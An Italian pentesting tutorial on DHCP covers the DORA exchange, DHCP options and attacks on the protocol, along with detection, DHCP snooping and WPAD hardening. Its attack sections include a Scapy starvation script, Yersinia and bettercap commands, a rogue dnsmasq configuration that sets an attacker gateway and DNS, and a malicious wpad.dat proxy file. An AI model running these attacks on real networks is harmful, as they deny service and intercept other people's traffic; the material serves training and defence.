DHCP: Cos’è, Come Funziona e Come Sfruttarlo in un Pentest

Scopri cos’è DHCP, come funziona il processo DORA e come sfruttarlo in un pentest: starvation, rogue DHCP server, WPAD injection, option 121 e difese reali.
- Pubblicato il 2026-03-22
- Tempo di lettura: 8 min
DHCP è il protocollo che assegna automaticamente gli indirizzi IP ai dispositivi della rete. Capire cos’è DHCP e come funziona il processo DORA è fondamentale per chi fa pentesting: DHCP starvation, rogue DHCP server, e option injection sono attacchi che permettono di prendere il controllo del traffico di un intero segmento senza toccare l’ARP table o i router.
Cos’è DHCP #
DHCP (Dynamic Host Configuration Protocol) è definito nell’RFC 2131 del 1997. È l’evoluzione di BOOTP e opera al livello applicativo sopra UDP: il client usa porta 68, il server porta 67.
DHCP automatizza la configurazione di rete degli host: invece di configurare manualmente IP, subnet mask, gateway, e DNS su ogni dispositivo, DHCP li distribuisce automaticamente a ogni host che si connette alla rete.
Informazioni distribuite da DHCP:
- Indirizzo IP e subnet mask
- Default gateway
- Server DNS primario e secondario
- Lease time (durata dell’assegnazione)
- Domain name
- Server NTP
- Server WINS (legacy Windows)
- Route statiche
- Praticamente qualsiasi parametro di configurazione di rete (opzioni 1-255)
Come funziona DHCP #
Il processo DORA #
La sequenza di assegnazione di un indirizzo IP si chiama DORA: Discover, Offer, Request, Acknowledge.
Client Server(s)
| |
|--- DHCP Discover (broadcast) ---> | "C'è un server DHCP?"
| src: 0.0.0.0:68 |
| dst: 255.255.255.255:67 |
| |
|<-- DHCP Offer --------------------| "Ti offro questo IP"
| IP proposto + opzioni |
| |
|--- DHCP Request (broadcast) ----> | "Accetto l'offerta del server X"
| Conferma l'IP proposto |
| |
|<-- DHCP Acknowledge --------------| "Confermato, l'IP è tuo"
| Configurazione completa |
| |
| === HOST CONFIGURATO === |Il Request è ancora broadcast perché ci possono essere più server DHCP nel segmento: tutti vedono che il client ha scelto uno specifico server.
Lease Time e rinnovo #
Ogni assegnazione DHCP ha un lease time — la durata per cui l’IP è valido. Prima della scadenza, il client tenta di rinnovare il lease con un messaggio DHCP Request direttamente al server (unicast). Se il server non è disponibile, al 87.5% del lease il client tenta di ottenere un indirizzo da qualsiasi server disponibile.
Alla scadenza del lease senza rinnovo, il client perde l’indirizzo IP e deve ricominciare il processo DORA.
DHCP Options #
Le opzioni DHCP estendono il protocollo oltre la semplice assegnazione dell’IP. Ogni opzione ha un numero identificativo:
| Opzione | Numero | Contenuto |
|---|---|---|
| Subnet Mask | 1 | Maschera di sottorete |
| Router | 3 | Default gateway |
| DNS Server | 6 | Server DNS |
| Domain Name | 15 | Nome del dominio |
| Lease Time | 51 | Durata del lease |
| DHCP Server ID | 54 | IP del server DHCP |
| Renewal Time | 58 | T1 — tempo per il rinnovo |
| Rebinding Time | 59 | T2 — tempo per il rebinding |
| Classless Static Route | 121 | Route statiche (RFC 3442) |
| NTP Server | 42 | Server NTP |
| WPAD | 252 | Web Proxy Auto-Discovery |
L’opzione 252 (WPAD) è particolarmente interessante per un pentester: distribuire un URL WPAD malevolo tramite DHCP può forzare tutti i client a usare un proxy controllato dall’attaccante per tutto il traffico web.
DHCPv6 #
IPv6 usa DHCPv6 (RFC 3315) per la configurazione stateful, ma supporta anche SLAAC (configurazione automatica senza server). DHCPv6 opera su UDP porta 546 (client) e 547 (server), usando multicast ff02::1:2.
Dove viene usato DHCP nelle reti #
DHCP è presente in qualsiasi rete moderna:
- Reti enterprise: server DHCP centralizzati (Windows DHCP Server, ISC DHCP, dnsmasq) con scope per ogni VLAN
- Reti SOHO: il router funge da server DHCP per la rete domestica
- Datacenter e cloud: DHCP per la gestione automatica degli indirizzi delle VM
- Wireless: ogni SSID tipicamente ha il proprio scope DHCP
- Reti industriali: PLC e dispositivi embedded ricevono la configurazione da DHCP
Perché DHCP è importante in cybersecurity #
DHCP non ha autenticazione nativa. Chiunque nel segmento può rispondere a un Discover e offrire configurazione di rete arbitraria. Un rogue DHCP server che risponde prima di quello legittimo può:
- Assegnare come gateway il proprio IP (MITM immediato su tutti i nuovi client)
- Assegnare server DNS malevoli (DNS hijacking per tutti i nuovi client)
- Distribuire WPAD URL malevoli (intercettazione traffico web)
- Assegnare route statiche verso subnet interne attraverso il proprio IP
Tutto questo senza toccare ARP, senza bisogno di essere nel path del traffico esistente — solo aspettando che nuovi host si connettano.
Per il protocollo UDP su cui DHCP opera, vedi UDP. Per le implicazioni sulle VLAN, vedi VLAN e 802.1Q.
DHCP in un engagement di pentesting #
Reconnaissance: identificare il server DHCP #
In qualsiasi rete, il server DHCP è identificabile dal traffico che genera. In modo passivo:
tcpdump -i eth0 -nn udp port 67 or udp port 68In Wireshark:
bootp # DHCP usa il protocollo BOOTP come base
dhcpIl primo DHCP Acknowledge rivela l’IP del server DHCP (opzione 54), il gateway (opzione 3), i DNS (opzione 6), e il domain name (opzione 15) — informazioni essenziali per capire la struttura della rete.
Inviare DHCP Discover per mappare la rete #
# nmap DHCP discovery
nmap -sU -p 67 --script dhcp-discover <broadcast_address>
# dhtest — client DHCP minimale per test
dhtest -i eth0DHCP Starvation Attack #
L’attacco di starvation esaurisce il pool di indirizzi IP del server DHCP inviando richieste DHCP con MAC address sempre diversi. Quando il pool è esaurito, nessun nuovo client legittimo riesce ad ottenere un IP.
Con Yersinia:
yersinia dhcp -attack 1 -interface eth0
# Attack 1: sending DISCOVER packetCon dhcpstarv:
dhcpstarv -i eth0Con Scapy:
from scapy.all import *
import random
def mac_rand():
return ":".join(["%02x" % random.randint(0, 255) for _ in range(6)])
for _ in range(1000):
mac = mac_rand()
disc = (
Ether(src=mac, dst="ff:ff:ff:ff:ff:ff") /
IP(src="0.0.0.0", dst="255.255.255.255") /
UDP(sport=68, dport=67) /
BOOTP(chaddr=bytes.fromhex(mac.replace(":", "")), xid=random.randint(1, 0xFFFFFFFF)) /
DHCP(options=[("message-type", "discover"), "end"])
)
sendp(disc, iface="eth0", verbose=0)Rogue DHCP Server #
Dopo lo starvation (o indipendentemente, se i client accettano il server più veloce), configurare un server DHCP malevolo che distribuisce configurazione controllata dall’attaccante.
Con dnsmasq come rogue DHCP:
# /etc/dnsmasq.conf (rogue)
interface=eth0
dhcp-range=192.168.1.100,192.168.1.200,12h
dhcp-option=3,192.168.1.50 # Gateway = attaccante
dhcp-option=6,192.168.1.50 # DNS = attaccante
dhcp-option=252,http://192.168.1.50/wpad.dat # WPAD malevolo
dnsmasq --no-daemonI client che ottengono configurazione dal rogue server invieranno tutto il traffico verso l’attaccante come gateway e useranno il suo DNS.
Con bettercap (integra starvation + rogue DHCP):
bettercap -iface eth0
# Dentro bettercap:
dhcp.spoof onWPAD Injection via DHCP #
L’opzione DHCP 252 distribuisce l’URL del file WPAD (Web Proxy Auto-Discovery). Se i client browser sono configurati per “rilevare automaticamente le impostazioni proxy”, useranno questo URL per trovare il proxy da usare.
Distribuire un WPAD malevolo fa sì che tutti i browser dei client utilizzino un proxy HTTP controllato dall’attaccante — intercettazione completa del traffico web, incluso HTTPS se si esegue SSL inspection.
# wpad.dat malevolo
function FindProxyForURL(url, host) {
return "PROXY 192.168.1.50:8080";
}Post-Compromise: analisi della configurazione DHCP #
Su un host Windows o Linux compromesso, la configurazione DHCP ricevuta rivela informazioni sull’infrastruttura:
# Linux
cat /var/lib/dhcp/dhclient.leases
ip route show
# Windows
ipconfig /all
# Mostra: DHCP Server, DNS Server, Gateway, Lease ottenuto/scadenzaAttacchi e abusi possibili su DHCP #
DHCP Starvation (DoS) #
Come descritto: esaurire il pool DHCP con MAC address falsi. I nuovi client non riescono ad ottenere indirizzi IP. I client già configurati con lease attivo non sono immediatamente colpiti.
Rogue DHCP Server (MITM) #
Come descritto: server DHCP malevolo che distribuisce configurazione controllata dall’attaccante. Effetto immediato sui nuovi client che si connettono.
WPAD Injection #
Distribuzione di WPAD malevolo tramite DHCP option 252. Intercettazione trasparente del traffico web di tutti i client che supportano WPAD auto-discovery.
Route Injection via Option 121 #
L’opzione DHCP 121 (Classless Static Routes) permette di distribuire route statiche ai client. Un server DHCP malevolo può iniettare route che portano traffico verso subnet specifiche attraverso l’attaccante.
Questa tecnica è alla base di un attacco documentato contro VPN: distribuire route statiche tramite DHCP che coprono gli stessi range IP della VPN, bypassando il tunnel VPN per quel traffico (CVE-2024-3661 / “TunnelVision”).
DHCPv6 Rogue Server #
In ambienti dual-stack, un rogue DHCPv6 server o Rogue Router Advertisement (vedi IPv4/IPv6) può configurare il gateway IPv6 dei client, ottenendo intercettazione del traffico IPv6 anche in reti dove il DHCP IPv4 è protetto.
Esempi pratici con DHCP in laboratorio #
Cattura completa del processo DORA con Wireshark #
bootp.option.type == 53 # Filtra per tipo di messaggio DHCPValori del tipo messaggio:
- 1 = Discover
- 2 = Offer
- 3 = Request
- 4 = Decline
- 5 = ACK
- 6 = NAK
- 7 = Release
- 8 = Inform
Analisi delle opzioni DHCP con tshark #
tshark -i eth0 -Y "bootp" -T fields \
-e ip.src \
-e bootp.option.dhcp \
-e bootp.option.router \
-e bootp.option.domain_name_server \
-e bootp.option.domain_nameVerifica del pool DHCP residuo #
Se si ottiene accesso a un server Windows DHCP post-compromise:
# PowerShell
Get-DhcpServerv4Scope
Get-DhcpServerv4ScopeStatistics
# Mostra: totale, usati, disponibili, percentuale utilizzoDetection e difesa DHCP #
Un difensore che monitora il traffico DHCP può rilevare:
- DHCP Offer da IP non autorizzati: qualsiasi server DHCP non in lista bianca è sospetto
- DHCP Request verso server non autorizzati: i client che ottengono configurazione da server non approvati
- Volume anomalo di DHCP Discover: possibile starvation in corso
- MAC address con pattern casuali: indicatore di starvation con MAC spoofing
- Pool DHCP in esaurimento rapido: alert quando la percentuale di utilizzo supera la soglia
Hardening e mitigazioni DHCP #
DHCP Snooping #
DHCP Snooping è la difesa principale contro rogue DHCP server. Configura lo switch per accettare DHCP Offer e Acknowledge solo dalle porte “trusted” (porte verso server DHCP legittimi o uplink). Le porte verso client sono “untrusted” e non possono inviare DHCP Offer:
! Cisco
ip dhcp snooping
ip dhcp snooping vlan 10,20,30
!
interface GigabitEthernet1/0/24 ! Uplink verso server DHCP
ip dhcp snooping trust
!
interface GigabitEthernet1/0/1 ! Porta client
ip dhcp snooping limit rate 15 ! Max 15 pacchetti DHCP al secondoDHCP Snooping costruisce anche una binding table IP/MAC/porta che viene usata da Dynamic ARP Inspection (DAI) per prevenire ARP spoofing.
Dynamic ARP Inspection (DAI) #
Usa la binding table di DHCP Snooping per validare i pacchetti ARP. Vedi ARP per i dettagli.
Disabilitare WPAD automatico sui client #
# Windows — Group Policy
Computer Configuration → Administrative Templates → Windows Components
→ Internet Explorer → Disable Automatic Discovery of Proxy Settings
# O via registry
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings
AutoDetect = 0Limitare le opzioni DHCP distribuite #
Non distribuire opzioni non necessarie. In particolare, non distribuire WPAD (opzione 252) a meno che non sia esplicitamente necessario.
Monitorare il lease database #
Configurare alerting su variazioni anomale nel lease database: molti indirizzi assegnati a MAC con pattern OUI sconosciuto o insolito può indicare starvation.
Errori comuni su DHCP #
“DHCP Snooping protegge da tutti gli attacchi DHCP” DHCP Snooping protegge dai rogue server sulle porte untrusted, ma non protegge da attacchi come WPAD injection se distribuita dal server legittimo compromesso, o da DHCPv6 su reti dual-stack senza DHCPv6 Guard.
“Lo starvation richiede accesso fisico” No. Con accesso logico alla rete (via VPN, porta Ethernet non autenticata, WiFi), lo starvation funziona ugualmente.
“I client già configurati sono immuni al rogue DHCP” Parzialmente vero per la durata del lease attuale. Ma alla scadenza, o dopo una disconnessione, il client farà una nuova richiesta DHCP e può ottenere configurazione dal rogue server.
“DHCP su reti enterprise è sempre sicuro” DHCP Snooping è spesso non configurato, specialmente su switch di accesso vecchi o su VLAN aggiunte dopo la configurazione iniziale. Verificare esplicitamente.
FAQ su DHCP #
Cos’è DHCP e come funziona? DHCP (Dynamic Host Configuration Protocol) automatizza l’assegnazione degli indirizzi IP e della configurazione di rete agli host. Il processo DORA (Discover, Offer, Request, Acknowledge) permette a un client di ottenere IP, gateway, DNS, e altre opzioni dal server DHCP del segmento.
Cos’è un rogue DHCP server? Un rogue DHCP server è un server DHCP non autorizzato nella rete che risponde alle richieste dei client prima di quello legittimo. Distribuendo configurazione malevola (gateway e DNS controllati dall’attaccante), ottiene intercettazione trasparente del traffico dei nuovi client.
Cos’è DHCP starvation? DHCP starvation è un attacco DoS che esaurisce il pool di indirizzi IP del server DHCP inviando richieste con MAC address sempre diversi. Quando il pool è pieno, nessun nuovo client legittimo può ottenere un indirizzo IP.
Come si protegge una rete da un rogue DHCP server? La difesa principale è DHCP Snooping: configura lo switch per accettare DHCP Offer solo dalle porte verso server autorizzati. Tutte le porte client sono untrusted e non possono inviare risposte DHCP.
Cos’è l’opzione DHCP 121 e perché è pericolosa? L’opzione 121 distribuisce route statiche ai client. Un server DHCP malevolo può iniettare route che redirigono il traffico verso subnet specifiche attraverso l’IP dell’attaccante — incluso il traffico che dovrebbe passare nel tunnel VPN (attacco TunnelVision).
Conclusione su DHCP #
DHCP è un protocollo apparentemente banale che in realtà controlla la configurazione di rete di ogni host che si connette. Rogue server, starvation, WPAD injection, route manipulation: sono attacchi che partono da DHCP e hanno impatto immediato sul traffico dell’intero segmento.
DHCP Snooping è la difesa principale ed è sorprendentemente spesso non configurata, anche in ambienti enterprise che si considerano sicuri.
In un engagement, analizzare il traffico DHCP per pochi secondi rivela l’IP del server DHCP, il gateway, i DNS, e il domain name — informazioni che accelerano enormemente la fase di reconnaissance interna.
Approfondisci i protocolli correlati:
- UDP: il trasporto di DHCP
- ARP: Dynamic ARP Inspection e DHCP Snooping
- DNS: server DNS distribuiti da DHCP
- IPv4 e IPv6: DHCPv6 e SLAAC
- VLAN e 802.1Q: scope DHCP per VLAN
- Man in the Middle: DHCP come vettore MITM
- Sniffing: analisi del traffico DHCP
Riferimento ufficiale: RFC 2131 — Dynamic Host Configuration Protocol
Un rogue DHCP server non rilevato in una rete enterprise è una finding critica che porta direttamente all’intercettazione del traffico. Scopri se la tua rete è esposta: hackita.it/servizi
Ogni articolo pubblicato è un contributo alla community. Se lo apprezzi: hackita.it/supporto







